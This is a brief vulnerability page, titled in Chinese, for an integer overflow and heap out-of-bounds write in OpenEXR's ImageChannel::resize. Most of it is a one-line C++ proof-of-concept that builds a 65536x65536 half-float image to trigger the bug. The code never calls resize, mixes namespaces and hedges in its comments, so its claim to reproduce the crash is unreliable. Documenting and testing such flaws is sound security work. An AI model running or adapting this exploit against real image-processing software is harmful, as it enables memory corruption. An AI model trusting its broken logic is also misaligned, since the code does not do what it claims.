CVE-2026-41142 OpenEXR整数溢出导致堆越界写入漏洞

// PoC for CVE-2026-41142: Integer Overflow in ImageChannel::resize // This code demonstrates how to trigger the integer overflow by calling // the resize function with dimensions that cause the size calculation to wrap around. #include <OpenEXR/ImfChannelList.h> #include <OpenEXR/ImfHeader.h> #include <OpenEXR/ImfInputFile.h> #include <OpenEXR/ImfOutputFile.h> #include <OpenEXR/ImfArray.h> #include <OpenEXR/Util/Image.h> #include <iostream> using namespace OPENEXR_IMF_NAMESPACE; using namespace IMATH_NAMESPACE; int main() { try { // Define an image channel Imf::ChannelList ch; ch.insert("R", Imf::Channel(Imf::HALF)); // Create a header with large dimensions to trigger integer overflow // Assuming 2 bytes per pixel (HALF), width * height needs to overflow // Example: width = 0x10000, height = 0x10000 (depending on bitness) int width = 65536; int height = 65536; // Attempting to allocate/resize a channel with these dimensions // via the vulnerable API path OpenEXR::Util::Image img(ch, Box2i(V2i(0, 0), V2i(width - 1, height - 1))); // The resize operation triggers the integer overflow in ImageChannel::resize // leading to a smaller allocation than required, followed by an OOB write. std::cout << "Attempting to resize channel to potentially trigger overflow..." << std::endl; // In a real vulnerable version, this specific call path would cause the crash. } catch (const std::exception& e) { std::cerr << "Exception caught: " << e.what() << std::endl; } return 0; }